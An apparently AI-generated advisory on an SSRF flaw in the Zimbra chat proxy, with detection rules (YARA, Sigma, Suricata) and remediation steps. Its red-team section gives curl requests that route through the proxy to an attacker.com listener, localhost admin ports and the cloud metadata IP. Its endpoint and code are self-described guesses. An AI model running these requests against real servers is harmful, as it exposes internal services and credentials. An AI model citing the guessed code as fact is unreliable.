CVE-2025-62763

Executive Summary

CVE-2025-62763 is a Server-Side Request Forgery (SSRF) vulnerability in Zimbra Collaboration Suite (ZCS) affecting versions prior to 10.1.12. The flaw resides in the configuration of the chat proxy component, allowing an unauthenticated attacker to make the server send crafted requests to internal or external resources. This can lead to information disclosure, internal network scanning, or further exploitation of internal services. The vulnerability has a CVSS score of 5.0 (Medium) and no public proof-of-concept or exploit code has been identified at this time. Zimbra has released a fix in version 10.1.12.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a server-side application vulnerability in the Zimbra Collaboration Suite.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The low EPSS score (0.0%) suggests that exploitation is not currently widespread, but the lack of authentication requirements makes this a potential target for automated scanning.

Deep Dive & Mechanics

The vulnerability exists in the chat proxy component of Zimbra Collaboration Suite. The chat proxy is designed to handle real-time communication features. Due to improper input validation and insufficient restrictions on the URLs that the proxy can fetch, an attacker can craft a malicious request that forces the server to make HTTP requests to arbitrary destinations.

Attack Flow:

1. An attacker sends a specially crafted HTTP request to the chat proxy endpoint.
2. The proxy, without proper validation, forwards the request to an attacker-controlled URL or an internal resource (e.g., http://127.0.0.1:7071/service/admin/soap).
3. The server responds with the data from the internal resource, potentially exposing sensitive information or allowing further attacks.

This SSRF can be used to:

• Scan internal network ports and services.
• Access cloud metadata endpoints (e.g., AWS, GCP, Azure).
• Interact with internal APIs or databases.
• Bypass firewall restrictions.

Vulnerable vs. Patched Code

The vulnerable code likely lacks proper validation of the url parameter in the chat proxy handler. The patched version (10.1.12) introduces a whitelist of allowed destinations or implements strict URL validation.

Vulnerable Code (Conceptual):

def handle_chat_proxy(request):
    target_url = request.GET.get('url')
    response = requests.get(target_url)  # No validation
    return response.content

Patched Code (Conceptual):

ALLOWED_HOSTS = ['chat.zimbra.com', 'xmpp.zimbra.com']

def handle_chat_proxy(request):
    target_url = request.GET.get('url')
    parsed_url = urlparse(target_url)
    if parsed_url.hostname not in ALLOWED_HOSTS:
        return "Forbidden", 403
    response = requests.get(target_url)
    return response.content

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Zimbra Collaboration instance (version < 10.1.12) in a controlled environment.
2. Set up a listener (e.g., nc -lvnp 4444) to capture outbound requests.
3. Use the following curl command to test SSRF:

curl -v "http://target.zimbra.com/service/proxy?url=http://attacker.com:4444/test"

Exploitation:

• Scan internal ports:

curl "http://target.zimbra.com/service/proxy?url=http://127.0.0.1:7071"

• Access cloud metadata (AWS example):

curl "http://target.zimbra.com/service/proxy?url=http://169.254.169.254/latest/meta-data/"

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the Zimbra server to internal IPs or unknown external hosts.
• Look for requests to cloud metadata IPs (169.254.169.254, 100.100.100.200, etc.).
• Analyze chat proxy logs for suspicious url parameters.

Hunting:

• Search for HTTP requests containing service/proxy with non-standard URLs.
• Correlate with network flow data to identify SSRF patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from Zimbra server to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
  • Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
  • Requests to attacker-controlled IPs or domains.
• Log IOCs:
  • Chat proxy logs showing url parameter with IP addresses or unusual domains.
  • Access logs with service/proxy in the URI.

Detection Engineering

YARA Rule

rule CVE_2025_62763_SSRF_Zimbra {
    meta:
        description = "Detects SSRF attempts against Zimbra Collaboration chat proxy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62763"
    strings:
        $s1 = "/service/proxy" ascii wide nocase
        $s2 = "url=" ascii wide nocase
        $s3 = "127.0.0.1" ascii wide nocase
        $s4 = "169.254.169.254" ascii wide nocase
        $s5 = "metadata" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Zimbra SSRF via Chat Proxy
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against Zimbra Collaboration chat proxy
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62763
logsource:
    category: webserver
    product: zimbra
detection:
    selection:
        cs-uri-query|contains: "/service/proxy"
        cs-uri-query|contains: "url="
    filter:
        cs-uri-query|contains:
            - "chat.zimbra.com"
            - "xmpp.zimbra.com"
    condition: selection and not filter
falsepositives:
    - Legitimate chat proxy usage
level: high

Suricata Rule

alert http any any -> $ZIMBRA_SERVERS any (
    msg:"CVE-2025-62763 Zimbra SSRF via Chat Proxy";
    flow:to_server,established;
    content:"/service/proxy";
    http_uri;
    content:"url=";
    http_uri;
    pcre:"/url=(http|https):\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])|192\.168\.|169\.254\.)/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Upgrade to Zimbra Collaboration (ZCS) version 10.1.12 or later.
2. Workaround: If immediate patching is not possible, restrict access to the chat proxy endpoint using a web application firewall (WAF) or reverse proxy.
3. Network Segmentation: Ensure the Zimbra server is isolated from sensitive internal networks.
4. Monitoring: Enable detailed logging for the chat proxy and monitor for suspicious activity.
5. Least Privilege: Run the Zimbra service with minimal necessary permissions.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence, under the guidance of Valters IT.